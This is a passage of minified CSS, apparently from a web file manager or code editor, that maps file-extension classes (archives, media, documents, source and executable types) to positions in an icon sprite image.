!important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.aui-title .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.aui-title .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.aui-title .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.aui-title .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.aui-title .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.aui-title .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.aui-title .x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.aui-title .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.aui-title .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.aui-title .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.aui-title .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.aui-title .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.aui-title .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.aui-title .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.aui-title .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.aui-title .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.aui-title .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.aui-title .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.aui-title .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.aui-title .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.aui-title .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.aui-title .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.aui-title .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.aui-title .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.aui-title .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.aui-title .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.aui-title .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.aui-title .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.aui-title .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.aui-title .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.aui-title .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.aui-title .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.aui-title .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.aui-title .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.aui-title .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.aui-title .x-item-file.x-txt,.aui-title .x-item-file.x-textile,.aui-title .x-item-file.x-inc,.aui-title .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.edit-tab .tabs .tab .name .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.edit-tab .tabs .tab .name .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.edit-tab .tabs .tab .name .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.edit-tab .tabs .tab .name .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.edit-tab .tabs .tab .name .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.edit-tab .tabs .tab .name .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.edit-tab .tabs .tab .name .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.edit-tab .tabs .tab .name .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.edit-tab .tabs .tab .name .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.edit-tab .tabs .tab .name .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.edit-tab .tabs .tab .name .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.edit-tab .tabs .tab .name .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.edit-tab .tabs .tab .name .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.edit-tab .tabs .tab .name .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.edit-tab .tabs .tab .name .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.edit-tab .tabs .tab .name .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.edit-tab .tabs .tab .name .x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.edit-tab .tabs .tab .name .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.edit-tab .tabs .tab .name .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.edit-tab .tabs .tab .name .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.edit-tab .tabs .tab .name .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.edit-tab .tabs .tab .name .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.edit-tab .tabs .tab .name .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.edit-tab .tabs .tab .name .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.edit-tab .tabs .tab .name .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.edit-tab .tabs .tab .name .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.edit-tab .tabs .tab .name .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px 